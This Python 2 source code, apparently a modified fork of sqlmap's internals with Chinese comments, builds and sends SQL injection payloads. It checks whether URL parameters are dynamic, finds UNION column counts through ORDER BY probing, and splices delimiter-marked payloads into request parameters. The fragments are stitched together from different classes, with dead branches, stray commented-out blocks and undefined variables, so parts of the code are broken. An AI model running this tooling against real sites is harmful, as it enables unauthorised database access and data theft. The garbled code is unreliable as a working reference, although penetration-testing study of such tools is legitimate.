def checkDynParam_t(place, url_test, uri, paramDict, parameters, parameter, value): dynResult = None randInt = randomInt() try: payload = agent.payload_t(paramDict, parameters, place, parameter, value, getUnicode(randInt)) if (payload): url = "%s?%s" % (uri, payload) firstreponse = proxyqueryPage(url) dynResult = url_test.comparison(firstreponse.getdata()) if not dynResult: #生成随机数 拼接成url 尝试两个不同的随机匹配结果 randInt = randomInt() payload = agent.payload_t(paramDict, parameters, place, parameter, value, getUnicode(randInt)) if (payload): url = "%s?%s" % (uri, payload) secondreponse = proxyqueryPage(url) dynResult = url_test.comparison(secondreponse.getdata()) except Exception as ex: print ex result = None if dynResult is None else not dynResult return result
def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix, paramDict, parameters): """ This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 50 columns on the target database table """ validPayload = None vector = None orderBy = kb.orderByColumns uChars = (conf.uChar, kb.uChar) # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, paramDict, parameters, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE) if count: validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count, paramDict, parameters) if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)): warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " if not conf.uChar and count > 1 and kb.uChar == NULL: conf.uChar = kb.uChar = str(randomInt(2)) validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count, paramDict, parameters) if orderBy is None and kb.orderByColumns is not None and not all((validPayload, vector)): # discard ORDER BY results (not usable - e.g. maybe invalid altogether) conf.uChar, kb.uChar = uChars validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) return validPayload, vector
def adjustLateValues(self, payload): """ Returns payload with a replaced late tags (e.g. SLEEPTIME) """ if payload: payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec)) payload = payload.replace(SINGLE_QUOTE_MARKER, "'") for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, str(randomInt())) for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, randomStr()) return payload
def cleanupPayload(self, payload, origValue=None): if payload is None: return _ = (('[DELIMITER_START]', 'qzkzq'), ('[DELIMITER_STOP]', 'qpkpq'), ('[AT_REPLACE]', 'qtq'), ('[SPACE_REPLACE]', 'qiq'), ('[DOLLAR_REPLACE]', 'qvq'), ('[HASH_REPLACE]', 'qiq')) payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload) for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, str(randomInt())) for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, randomStr()) if origValue is not None: payload = payload.replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) if "[INFERENCE]" in payload: if Backend.getIdentifiedDbms() is not None: inference = queries[Backend.getIdentifiedDbms()].inference if "dbms_version" in inference: if isDBMSVersionAtLeast(inference.dbms_version): inferenceQuery = inference.query else: inferenceQuery = inference.query2 else: inferenceQuery = inference.query payload = payload.replace("[INFERENCE]", inferenceQuery) elif not kb.testMode: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" raise SqlmapNoneDataException(errMsg) return payload
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None, addValue=None): """ This method replaces the affected parameter with the SQL injection statement to request """ retVal = "" paramString = place['paramstring'] paramDict = place['paramdict'] origValue = paramDict[parameter]#getUnicode(paramDict[parameter]) randstr = "" if addValue is not None: value = origValue newValue = "%s%s" % (value, addValue) newValue = urlencode(newValue, '%', False, 'GET' != 'URI') else: if value is None: if all(c in "0123456789.+-" for c in parameter): randstr = str(randomInt()) else: randstr = randomStr() return randstr # """ # if where == PAYLOAD.WHERE.ORIGINAL: # value = origValue # elif where == PAYLOAD.WHERE.NEGATIVE: # if conf.invalidLogical: # match = re.search(r'\A[^ ]+', newValue) # newValue = newValue[len(match.group() if match else ""):] # _ = randomInt(2) # value = "%s%s AND %s=%s" % (origValue, match.group() if # match else "", _, _ + 1) # elif conf.invalidBignum: # value = randomInt(6) # elif conf.invalidString: # value = randomStr(6) # else: # if newValue.startswith("-"): # value = "" # else: # value = "-%s" % randomInt() # """ if False: pass else: def _(pattern, repl, string): retVal = string match = None for match in re.finditer(pattern, string): pass if match: while True: _ = re.search(r"\\g<([^>]+)>", repl) if _: try: repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) except IndexError: break else: break retVal = string[:match.start()] + repl + string[match.end():] return retVal if origValue: regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) """ else: retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) if retVal == paramString and urlencode(parameter) != parameter: retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) """ if retVal: retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\') return retVal
def payload_t(self, paramDict, parameters=None, place=None, parameter=None, value=None, newValue=None, where=None): """ This method replaces the affected parameter with the SQL injection statement to request """ retVal = "" paramString = parameters[place] paramDict = paramDict[place] origValue = getUnicode(paramDict[parameter]) #如果参数值为空则生成个值 if value is None: if where == PAYLOAD.WHERE.ORIGINAL: value = origValue elif where == PAYLOAD.WHERE.NEGATIVE: # if conf.invalidLogical: # match = re.search(r'\A[^ ]+', newValue) # newValue = newValue[len(match.group() if match else ""):] # _ = randomInt(2) # value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1) # elif conf.invalidBignum: # value = randomInt(6) # elif conf.invalidString: # value = randomStr(6) # else: if newValue.startswith("-"): value = "" else: value = "-%s" % randomInt() elif where == PAYLOAD.WHERE.REPLACE: value = "" else: value = origValue newValue = "%s%s" % (value, newValue) newValue = self.cleanupPayload(newValue, origValue) #支持修改http中各种请求的参数 if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): pass elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): pass else: def _(pattern, repl, string): retVal = string match = None for match in re.finditer(pattern, string): pass if match: while True: _ = re.search(r"\\g<([^>]+)>", repl) if _: try: repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) except IndexError: break else: break retVal = string[:match.start()] + repl + string[match.end():] return retVal if origValue: regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) else: retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) if retVal == paramString and urlencode(parameter) != parameter: pass retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) if retVal: retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\') return retVal
def checkDynParam(place, parameter, value): """ This function checks if the URL parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. place """ #if kb.redirectChoice: # return None paramString = place['paramstring'] #dynResult = None #randInt = randomInt() #infoMsg = "testing if %s parameter '%s' is dynamic" % #(str(type(paramType)), parameter) #logger.info(infoMsg) payload = "" randstr = "" length = len(value) try: #FixME:这个可以优化掉 response = proxyqueryPage(place['uri']) httpCode = response.getstatus() page = response.getdata() if all(c in "0123456789.+-" for c in value): randstr = str(randomInt(length=length)) else: randstr = randomStr(length=length) payload = agent.payload(place, parameter, value, randstr) url = place['uri'].replace(paramString, payload) reponse = proxyqueryPage(url) firstPage = reponse.getdata() firstCode = reponse.getstatus() #second Page if all(c in "0123456789.+-" for c in value): randstr = str(randomInt(length=length)) else: randstr = randomStr(length=length) payload = agent.payload(place, parameter, '', randstr) url = place['uri'].replace(paramString, payload) reponse = queryPage(url) secondPage = reponse.getdata() secondCode = reponse.getstatus() ratio1 = diffRatio(page, firstPage) ratio2 = diffRatio(page, secondPage) if ratio1 > UPPER_RATIO_BOUND_DYN and ratio2 > UPPER_RATIO_BOUND_DYN: if secondCode == firstCode and httpCode == firstCode: if diffRatio(firstPage, secondPage) > UPPER_RATIO_BOUND: return True else: return False else: return False else: return False except: print 'Excepiton occurred url:{0}'.format(place['uri'].replace( paramString, payload)) return False
def _orderByTechnique(lowerCount=None, upperCount=None): def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload_t(paramDict, parameters, place, parameter, newValue=query, where=where) url = "%s?%s" % (conf.url, payload) response = proxyqueryPage(url) page = response.getdata() code = response.getstatus() return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and checkComparison(page, kb.pageTemplate) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1): # infoMsg = "'ORDER BY' technique appears to be usable. " # infoMsg += "This should reduce the time needed " # infoMsg += "to find the right number " # infoMsg += "of query columns. Automatically extending the " # infoMsg += "range for current UNION query injection technique test" # print (infoMsg) lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount found = None while not found: if not conf.uCols and _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP else: while not found: mid = highCols - (highCols - lowCols) // 2 if _orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found